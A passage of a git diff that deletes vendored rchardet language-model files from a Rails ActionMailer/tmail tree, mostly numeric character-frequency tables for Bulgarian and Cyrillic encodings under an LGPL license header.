-# first 1024 sequences:3.0618%
-# rest  sequences:     0.2992%
-# negative sequences:  0.0020% 
-BulgarianLangModel = [
-0,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,2,3,3,3,3,3,3,3,3,2,3,3,3,3,3,
-3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,0,3,3,3,2,2,3,2,2,1,2,2,
-3,1,3,3,2,3,3,3,3,3,3,3,3,3,3,3,3,0,3,3,3,3,3,3,3,3,3,3,0,3,0,1,
-0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,
-3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,2,3,2,3,3,3,3,3,3,3,3,0,3,1,0,
-0,1,0,0,0,0,0,0,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,
-3,2,2,2,3,3,3,3,3,3,3,3,3,3,3,3,3,1,3,2,3,3,3,3,3,3,3,3,0,3,0,0,
-0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
-3,2,3,3,2,3,3,3,3,3,3,3,3,3,3,3,3,1,3,2,3,3,3,3,3,3,3,3,0,3,0,0,
-0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
-3,3,3,3,3,3,3,3,3,3,3,2,3,2,2,1,3,3,3,3,2,2,2,1,1,2,0,1,0,1,0,0,
-0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,1,
-3,3,3,3,3,3,3,2,3,2,2,3,3,1,1,2,3,3,2,3,3,3,3,2,1,2,0,2,0,3,0,0,
-0,0,0,0,0,0,0,1,0,0,2,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,1,
-3,3,3,3,3,3,3,1,3,3,3,3,3,2,3,2,3,3,3,3,3,2,3,3,1,3,0,3,0,2,0,0,
-0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,
-3,3,3,3,3,3,3,3,1,3,3,2,3,3,3,1,3,3,2,3,2,2,2,0,0,2,0,2,0,2,0,0,
-0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,1,
-3,3,3,3,3,3,3,3,3,0,3,3,3,2,2,3,3,3,1,2,2,3,2,1,1,2,0,2,0,0,0,0,
-1,0,0,0,0,0,0,0,0,0,2,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,
-3,3,3,3,3,3,3,2,3,3,1,2,3,2,2,2,3,3,3,3,3,2,2,3,1,2,0,2,1,2,0,0,
-0,0,0,0,0,0,0,0,0,0,3,0,0,1,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,1,
-3,3,3,3,3,1,3,3,3,3,3,2,3,3,3,2,3,3,2,3,2,2,2,3,1,2,0,1,0,1,0,0,
-0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,
-3,3,3,3,3,3,3,3,3,3,3,1,1,1,2,2,1,3,1,3,2,2,3,0,0,1,0,1,0,1,0,0,
-0,0,0,1,0,0,0,0,1,0,2,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,
-3,3,3,3,3,2,2,3,2,2,3,1,2,1,1,1,2,3,1,3,1,2,2,0,1,1,1,1,0,1,0,0,
-0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,
-3,3,3,3,3,1,3,2,2,3,3,1,2,3,1,1,3,3,3,3,1,2,2,1,1,1,0,2,0,2,0,1,
-0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,
-3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,1,2,2,3,3,3,2,2,1,1,2,0,2,0,1,0,0,
-0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,
-3,0,1,2,1,3,3,2,3,3,3,3,3,2,3,2,1,0,3,1,2,1,2,1,2,3,2,1,0,1,0,0,
-0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
-1,1,1,2,3,3,3,3,3,3,3,3,3,3,3,3,0,0,3,1,3,3,2,3,3,2,2,2,0,1,0,0,
-0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
-2,3,3,3,3,0,3,3,3,3,3,2,1,1,2,1,3,3,0,3,1,1,1,1,3,2,0,1,0,0,0,0,
-0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,
-3,3,2,2,2,3,3,3,3,3,3,3,3,3,3,3,1,1,3,1,3,3,2,3,2,2,2,3,0,2,0,0,
-0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
-3,3,3,3,3,2,3,3,2,2,3,2,1,1,1,1,1,3,1,3,1,1,0,0,0,1,0,0,0,1,0,0,
-0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,
-3,3,3,3,3,2,3,2,0,3,2,0,3,0,2,0,0,2,1,3,1,0,0,1,0,0,0,1,0,0,0,0,
-0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,
-3,3,3,3,2,1,1,1,1,2,1,1,2,1,1,1,2,2,1,2,1,1,1,0,1,1,0,1,0,1,0,0,
-0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,
-3,3,3,3,2,1,3,1,1,2,1,3,2,1,1,0,1,2,3,2,1,1,1,0,0,0,0,0,0,0,0,0,
-0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
-2,3,3,3,3,2,2,1,0,1,0,0,1,0,0,0,2,1,0,3,0,0,1,0,0,0,0,0,0,0,0,0,
-0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,
-3,3,3,2,3,2,3,3,1,3,2,1,1,1,2,1,1,2,1,3,0,1,0,0,0,1,0,0,0,0,0,0,
-0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
-3,1,1,2,2,3,3,2,3,2,2,2,3,1,2,2,1,1,2,1,1,2,2,0,1,1,0,1,0,2,0,0,
-0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
-3,3,3,3,2,1,3,1,0,2,2,1,3,2,1,0,0,2,0,2,0,1,0,0,0,0,0,0,0,1,0,0,
-0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,
-3,3,3,3,3,3,1,2,0,2,3,1,2,3,2,0,1,3,1,2,1,1,1,0,0,1,0,0,2,2,2,3,
-2,2,2,2,1,2,1,1,2,2,1,1,2,0,1,1,1,0,0,1,1,0,0,1,1,0,0,0,1,1,0,1,
-3,3,3,3,3,2,1,2,2,1,2,0,2,0,1,0,1,2,1,2,1,1,0,0,0,1,0,1,0,0,0,0,
-0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,1,
-3,3,2,3,3,1,1,3,1,0,3,2,1,0,0,0,1,2,0,2,0,1,0,0,0,1,0,1,2,1,2,2,
-1,1,1,1,1,1,1,2,2,2,1,1,1,1,1,1,1,0,1,2,1,1,1,0,0,0,0,0,1,1,0,0,
-3,1,0,1,0,2,3,2,2,2,3,2,2,2,2,2,1,0,2,1,2,1,1,1,0,1,2,1,2,2,2,1,
-1,1,2,2,2,2,1,2,1,1,0,1,2,1,2,2,2,1,1,1,0,1,1,1,1,2,0,1,0,0,0,0,
-2,3,2,3,3,0,0,2,1,0,2,1,0,0,0,0,2,3,0,2,0,0,0,0,0,1,0,0,2,0,1,2,
-2,1,2,1,2,2,1,1,1,2,1,1,1,0,1,2,2,1,1,1,1,1,0,1,1,1,0,0,1,2,0,0,
-3,3,2,2,3,0,2,3,1,1,2,0,0,0,1,0,0,2,0,2,0,0,0,1,0,1,0,1,2,0,2,2,
-1,1,1,1,2,1,0,1,2,2,2,1,1,1,1,1,1,1,0,1,1,1,0,0,0,0,0,0,1,1,0,0,
-2,3,2,3,3,0,0,3,0,1,1,0,1,0,0,0,2,2,1,2,0,0,0,0,0,0,0,0,2,0,1,2,
-2,2,1,1,1,1,1,2,2,2,1,0,2,0,1,0,1,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,
-3,3,3,3,2,2,2,2,2,0,2,1,1,1,1,2,1,2,1,1,0,2,0,1,0,1,0,0,2,0,1,2,
-1,1,1,1,1,1,1,2,2,1,1,0,2,0,1,0,2,0,0,1,1,1,0,0,2,0,0,0,1,1,0,0,
-2,3,3,3,3,1,0,0,0,0,0,0,0,0,0,0,2,0,0,1,1,0,0,0,0,0,0,1,2,0,1,2,
-2,2,2,1,1,2,1,1,2,2,2,1,2,0,1,1,1,1,1,1,0,1,1,1,1,0,0,1,1,1,0,0,
-2,3,3,3,3,0,2,2,0,2,1,0,0,0,1,1,1,2,0,2,0,0,0,3,0,0,0,0,2,0,2,2,
-1,1,1,2,1,2,1,1,2,2,2,1,2,0,1,1,1,0,1,1,1,1,0,2,1,0,0,0,1,1,0,0,
-2,3,3,3,3,0,2,1,0,0,2,0,0,0,0,0,1,2,0,2,0,0,0,0,0,0,0,0,2,0,1,2,
-1,1,1,2,1,1,1,1,2,2,2,0,1,0,1,1,1,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,
-3,3,2,2,3,0,1,0,1,0,0,0,0,0,0,0,1,1,0,3,0,0,0,0,0,0,0,0,1,0,2,2,
-1,1,1,1,1,2,1,1,2,2,1,2,2,1,0,1,1,1,1,1,0,1,0,0,1,0,0,0,1,1,0,0,
-3,1,0,1,0,2,2,2,2,3,2,1,1,1,2,3,0,0,1,0,2,1,1,0,1,1,1,1,2,1,1,1,
-1,2,2,1,2,1,2,2,1,1,0,1,2,1,2,2,1,1,1,0,0,1,1,1,2,1,0,1,0,0,0,0,
-2,1,0,1,0,3,1,2,2,2,2,1,2,2,1,1,1,0,2,1,2,2,1,1,2,1,1,0,2,1,1,1,
-1,2,2,2,2,2,2,2,1,2,0,1,1,0,2,1,1,1,1,1,0,0,1,1,1,1,0,1,0,0,0,0,
-2,1,1,1,1,2,2,2,2,1,2,2,2,1,2,2,1,1,2,1,2,3,2,2,1,1,1,1,0,1,0,0,
-0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
-2,2,2,3,2,0,1,2,0,1,2,1,1,0,1,0,1,2,1,2,0,0,0,1,1,0,0,0,1,0,0,2,
-1,1,0,0,1,1,0,1,1,1,1,0,2,0,1,1,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,
-2,0,0,0,0,1,2,2,2,2,2,2,2,1,2,1,1,1,1,1,1,1,0,1,1,1,1,1,2,1,1,1,
-1,2,2,2,2,1,1,2,1,2,1,1,1,0,2,1,2,1,1,1,0,2,1,1,1,1,0,1,0,0,0,0,
-3,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,
-1,1,0,1,0,1,1,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
-2,2,2,3,2,0,0,0,0,1,0,0,0,0,0,0,1,1,0,2,0,0,0,0,0,0,0,0,1,0,1,2,
-1,1,1,1,1,1,0,0,2,2,2,2,2,0,1,1,0,1,1,1,1,1,0,0,1,0,0,0,1,1,0,1,
-2,3,1,2,1,0,1,1,0,2,2,2,0,0,1,0,0,1,1,1,1,0,0,0,0,0,0,0,1,0,1,2,
-1,1,1,1,2,1,1,1,1,1,1,1,1,0,1,1,0,1,0,1,0,1,0,0,1,0,0,0,0,1,0,0,
-2,2,2,2,2,0,0,2,0,0,2,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,2,0,2,2,
-1,1,1,1,1,0,0,1,2,1,1,0,1,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,
-1,2,2,2,2,0,0,2,0,1,1,0,0,0,1,0,0,2,0,2,0,0,0,0,0,0,0,0,0,0,1,1,
-0,0,0,1,1,1,1,1,1,1,1,1,1,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,
-1,2,2,3,2,0,0,1,0,0,1,0,0,0,0,0,0,1,0,2,0,0,0,1,0,0,0,0,0,0,0,2,
-1,1,0,0,1,0,0,0,1,1,0,0,1,0,1,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,
-2,1,2,2,2,1,2,1,2,2,1,1,2,1,1,1,0,1,1,1,1,2,0,1,0,1,1,1,1,0,1,1,
-1,1,2,1,1,1,1,1,1,0,0,1,2,1,1,1,1,1,1,0,0,1,1,1,0,0,0,0,0,0,0,0,
-1,0,0,1,3,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,
-0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
-2,2,2,2,1,0,0,1,0,2,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,2,0,0,1,
-0,2,0,1,0,0,1,1,2,0,1,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,
-1,2,2,2,2,0,1,1,0,2,1,0,1,1,1,0,0,1,0,2,0,1,0,0,0,0,0,0,0,0,0,1,
-0,1,0,0,1,0,0,0,1,1,0,0,1,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,
-2,2,2,2,2,0,0,1,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,
-0,1,0,1,1,1,0,0,1,1,1,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,
-2,0,1,0,0,1,2,1,1,1,1,1,1,2,2,1,0,0,1,0,1,0,0,0,0,1,1,1,1,0,0,0,
-1,1,2,1,1,1,1,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
-2,2,1,2,1,0,0,1,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,
-0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
-3,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
-0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
-1,0,0,1,2,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,
-0,1,1,0,1,1,1,0,0,1,0,0,1,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,
-1,0,1,0,0,1,1,1,1,1,1,1,1,1,1,1,0,0,1,0,2,0,0,2,0,1,0,0,1,0,0,1,
-1,1,0,0,1,1,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,
-0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,
-1,1,1,1,1,1,1,2,0,0,0,0,0,0,2,1,0,1,1,0,0,1,1,1,0,1,0,0,0,0,0,0,
-2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
-0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
-1,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,0,1,1,0,1,1,1,1,1,0,1,0,0,
-0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,
-]
-
-Latin5BulgarianModel = { 
-  'charToOrderMap' =>  Latin5_BulgarianCharToOrderMap,
-  'precedenceMatrix' =>  BulgarianLangModel,
-  'mTypicalPositiveRatio' =>  0.969392,
-  'keepEnglishLetter' =>  false,
-  'charsetName' =>  "ISO-8859-5"
-}
-
-Win1251BulgarianModel = { 
-  'charToOrderMap' =>  win1251BulgarianCharToOrderMap,
-  'precedenceMatrix' =>  BulgarianLangModel,
-  'mTypicalPositiveRatio' =>  0.969392,
-  'keepEnglishLetter' =>  false,
-  'charsetName' =>  "windows-1251"
-}
-end
diff --git a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/langcyrillicmodel.rb b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/langcyrillicmodel.rb
deleted file mode 100755
index d6e4fb97..00000000
--- a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/langcyrillicmodel.rb
+++ /dev/null
@@ -1,330 +0,0 @@
-######################## BEGIN LICENSE BLOCK ########################
-# The Original Code is Mozilla Communicator client code.
-#
-# The Initial Developer of the Original Code is
-# Netscape Communications Corporation.
-# Portions created by the Initial Developer are Copyright (C) 1998
-# the Initial Developer. All Rights Reserved.
-#
-# Contributor(s):
-#   Jeff Hodges - port to Ruby
-#   Mark Pilgrim - port to Python
-#
-# This library is free software; you can redistribute it and/or
-# modify it under the terms of the GNU Lesser General Public
-# License as published by the Free Software Foundation; either
-# version 2.1 of the License, or (at your option) any later version.
-# 
-# This library is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# Lesser General Public License for more details.
-# 
-# You should have received a copy of the GNU Lesser General Public
-# License along with this library; if not, write to the Free Software
-# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA
-# 02110-1301  USA
-######################### END LICENSE BLOCK #########################
-
-module CharDet
-# KOI8-R language model
-# Character Mapping Table:
-KOI8R_CharToOrderMap = [
-255,255,255,255,255,255,255,255,255,255,254,255,255,254,255,255,  # 00
-255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,  # 10
-253,253,253,253,253,253,253,253,253,253,253,253,253,253,253,253,  # 20
-252,252,252,252,252,252,252,252,252,252,253,253,253,253,253,253,  # 30
-253,142,143,144,145,146,147,148,149,150,151,152, 74,153, 75,154,  # 40
-155,156,157,158,159,160,161,162,163,164,165,253,253,253,253,253,  # 50
-253, 71,172, 66,173, 65,174, 76,175, 64,176,177, 77, 72,178, 69,  # 60
- 67,179, 78, 73,180,181, 79,182,183,184,185,253,253,253,253,253,  # 70
-191,192,193,194,195,196,197,198,199,200,201,202,203,204,205,206,  # 80
-207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,  # 90
-223,224,225, 68,226,227,228,229,230,231,232,233,234,235,236,237,  # a0
-238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,  # b0
- 27,  3, 21, 28, 13,  2, 39, 19, 26,  4, 23, 11,  8, 12,  5,  1,  # c0
- 15, 16,  9,  7,  6, 14, 24, 10, 17, 18, 20, 25, 30, 29, 22, 54,  # d0
- 59, 37, 44, 58, 41, 48, 53, 46, 55, 42, 60, 36, 49, 38, 31, 34,  # e0
- 35, 43, 45, 32, 40, 52, 56, 33, 61, 62, 51, 57, 47, 63, 50, 70,  # f0
-]
-
-win1251_CharToOrderMap = [ 
-255,255,255,255,255,255,255,255,255,255,254,255,255,254,255,255,  # 00
-255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,  # 10
-253,253,253,253,253,253,253,253,253,253,253,253,253,253,253,253,  # 20
-252,252,252,252,252,252,252,252,252,252,253,253,253,253,253,253,  # 30
-253,142,143,144,145,146,147,148,149,150,151,152, 74,153, 75,154,  # 40
-155,156,157,158,159,160,161,162,163,164,165,253,253,253,253,253,  # 50
-253, 71,172, 66,173, 65,174, 76,175, 64,176,177, 77, 72,178, 69,  # 60
- 67,179, 78, 73,180,181, 79,182,183,184,185,253,253,253,253,253,  # 70
-191,192,193,194,195,196,197,198,199,200,201,202,203,204,205,206,
-207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,
-223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,
-239,240,241,242,243,244,245,246, 68,247,248,249,250,251,252,253,
- 37, 44, 33, 46, 41, 48, 56, 51, 42, 60, 36, 49, 38, 31, 34, 35,
- 45, 32, 40, 52, 53, 55, 58, 50, 57, 63, 70, 62, 61, 47, 59, 43,
-  3, 21, 10, 19, 13,  2, 24, 20,  4, 23, 11,  8, 12,  5,  1, 15,
-  9,  7,  6, 14, 39, 26, 28, 22, 25, 29, 54, 18, 17, 30, 27, 16,
-]
-
-latin5_CharToOrderMap = [
-255,255,255,255,255,255,255,255,255,255,254,255,255,254,255,255,  # 00
-255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,  # 10
-253,253,253,253,253,253,253,253,253,253,253,253,253,253,253,253,  # 20
-252,252,252,252,252,252,252,252,252,252,253,253,253,253,253,253,  # 30
-253,142,143,144,145,146,147,148,149,150,151,152, 74,153, 75,154,  # 40
-155,156,157,158,159,160,161,162,163,164,165,253,253,253,253,253,  # 50
-253, 71,172, 66,173, 65,174, 76,175, 64,176,177, 77, 72,178, 69,  # 60
- 67,179, 78, 73,180,181, 79,182,183,184,185,253,253,253,253,253,  # 70
-191,192,193,194,195,196,197,198,199,200,201,202,203,204,205,206,
-207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,
-223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,
- 37, 44, 33, 46, 41, 48, 56, 51, 42, 60, 36, 49, 38, 31, 34, 35,
- 45, 32, 40, 52, 53, 55, 58, 50, 57, 63, 70, 62, 61, 47, 59, 43,
-  3, 21, 10, 19, 13,  2, 24, 20,  4, 23, 11,  8, 12,  5,  1, 15,
-  9,  7,  6, 14, 39, 26, 28, 22, 25, 29, 54, 18, 17, 30, 27, 16,
-239, 68,240,241,242,243,244,245,246,247,248,249,250,251,252,255,
-]
-
-macCyrillic_CharToOrderMap = [
-255,255,255,255,255,255,255,255,255,255,254,255,255,254,255,255,  # 00
-255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,  # 10
-253,253,253,253,253,253,253,253,253,253,253,253,253,253,253,253,  # 20
-252,252,252,252,252,252,252,252,252,252,253,253,253,253,253,253,  # 30
-253,142,143,144,145,146,147,148,149,150,151,152, 74,153, 75,154,  # 40
-155,156,157,158,159,160,161,162,163,164,165,253,253,253,253,253,  # 50
-253, 71,172, 66,173, 65,174, 76,175, 64,176,177, 77, 72,178, 69,  # 60
- 67,179, 78, 73,180,181, 79,182,183,184,185,253,253,253,253,253,  # 70
- 37, 44, 33, 46, 41, 48, 56, 51, 42, 60, 36, 49, 38, 31, 34, 35,
- 45, 32, 40, 52, 53, 55, 58, 50, 57, 63, 70, 62, 61, 47, 59, 43,
-191,192,193,194,195,196,197,198,199,200,201,202,203,204,205,206,
-207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,
-223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,
-239,240,241,242,243,244,245,246,247,248,249,250,251,252, 68, 16,
-  3, 21, 10, 19, 13,  2, 24, 20,  4, 23, 11,  8, 12,  5,  1, 15,
-  9,  7,  6, 14, 39, 26, 28, 22, 25, 29, 54, 18, 17, 30, 27,255,
-]
-
-IBM855_CharToOrderMap = [
-255,255,255,255,255,255,255,255,255,255,254,255,255,254,255,255,  # 00
-255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,  # 10
-253,253,253,253,253,253,253,253,253,253,253,253,253,253,253,253,  # 20
-252,252,252,252,252,252,252,252,252,252,253,253,253,253,253,253,  # 30
-253,142,143,144,145,146,147,148,149,150,151,152, 74,153, 75,154,  # 40
-155,156,157,158,159,160,161,162,163,164,165,253,253,253,253,253,  # 50
-253, 71,172, 66,173, 65,174, 76,175, 64,176,177, 77, 72,178, 69,  # 60
- 67,179, 78, 73,180,181, 79,182,183,184,185,253,253,253,253,253,  # 70
-191,192,193,194, 68,195,196,197,198,199,200,201,202,203,204,205,
-206,207,208,209,210,211,212,213,214,215,216,217, 27, 59, 54, 70,
-  3, 37, 21, 44, 28, 58, 13, 41,  2, 48, 39, 53, 19, 46,218,219,
-220,221,222,223,224, 26, 55,  4, 42,225,226,227,228, 23, 60,229,
-230,231,232,233,234,235, 11, 36,236,237,238,239,240,241,242,243,
-  8, 49, 12, 38,  5, 31,  1, 34, 15,244,245,246,247, 35, 16,248,
- 43,  9, 45,  7, 32,  6, 40, 14, 52, 24, 56, 10, 33, 17, 61,249,
-250, 18, 62, 20, 51, 25, 57, 30, 47, 29, 63, 22, 50,251,252,255,
-]
-
-IBM866_CharToOrderMap = [
-255,255,255,255,255,255,255,255,255,255,254,255,255,254,255,255,  # 00
-255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,  # 10
-253,253,253,253,253,253,253,253,253,253,253,253,253,253,253,253,  # 20
-252,252,252,252,252,252,252,252,252,252,253,253,253,253,253,253,  # 30
-253,142,143,144,145,146,147,148,149,150,151,152, 74,153, 75,154,  # 40
-155,156,157,158,159,160,161,162,163,164,165,253,253,253,253,253,  # 50
-253, 71,172, 66,173, 65,174, 76,175, 64,176,177, 77, 72,178, 69,  # 60
- 67,179, 78, 73,180,181, 79,182,183,184,185,253,253,253,253,253,  # 70
- 37, 44, 33, 46, 41, 48, 56, 51, 42, 60, 36, 49, 38, 31, 34, 35,
- 45, 32, 40, 52, 53, 55, 58, 50, 57, 63, 70, 62, 61, 47, 59, 43,
-  3, 21, 10, 19, 13,  2, 24, 20,  4, 23, 11,  8, 12,  5,  1, 15,
-191,192,193,194,195,196,197,198,199,200,201,202,203,204,205,206,
-207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,
-223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,
-  9,  7,  6, 14, 39, 26, 28, 22, 25, 29, 54, 18, 17, 30, 27, 16,
-239, 68,240,241,242,243,244,245,246,247,248,249,250,251,252,255,
-]
-
-# Model Table: 
-# total sequences: 100%
-# first 512 sequences: 97.6601%
-# first 1024 sequences: 2.3389%
-# rest  sequences:      0.1237%
-# negative sequences:   0.0009% 
-RussianLangModel = [
-0,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,1,1,3,3,3,3,1,3,3,3,2,3,2,3,3,
-3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,0,3,2,2,2,2,2,0,0,2,
-3,3,3,2,3,3,3,3,3,3,3,3,3,3,2,3,3,0,0,3,3,3,3,3,3,3,3,3,2,3,2,0,
-0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
-3,3,3,2,2,3,3,3,3,3,3,3,3,3,2,3,3,0,0,3,3,3,3,3,3,3,3,2,3,3,1,0,
-0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
-3,2,3,2,3,3,3,3,3,3,3,3,3,3,3,3,3,0,0,3,3,3,3,3,3,3,3,3,3,3,2,1,
-0,0,0,0,0,0,0,2,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
-3,3,3,3,3,3,3,3,3,3,3,3,3,3,2,3,3,0,0,3,3,3,3,3,3,3,3,3,3,3,2,1,
-0,0,0,0,0,1,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
-3,3,3,3,3,3,3,3,2,2,2,3,1,3,3,1,3,3,3,3,2,2,3,0,2,2,2,3,3,2,1,0,
-0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,
-3,3,3,3,3,3,2,3,3,3,3,3,2,2,3,2,3,3,3,2,1,2,2,0,1,2,2,2,2,2,2,0,
-0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,
-3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,2,2,2,3,0,2,2,3,3,2,1,2,0,
-0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,1,0,0,2,0,0,0,0,0,0,0,0,0,
-3,3,3,3,3,3,2,3,3,1,2,3,2,2,3,2,3,3,3,3,2,2,3,0,3,2,2,3,1,1,1,0,
-0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
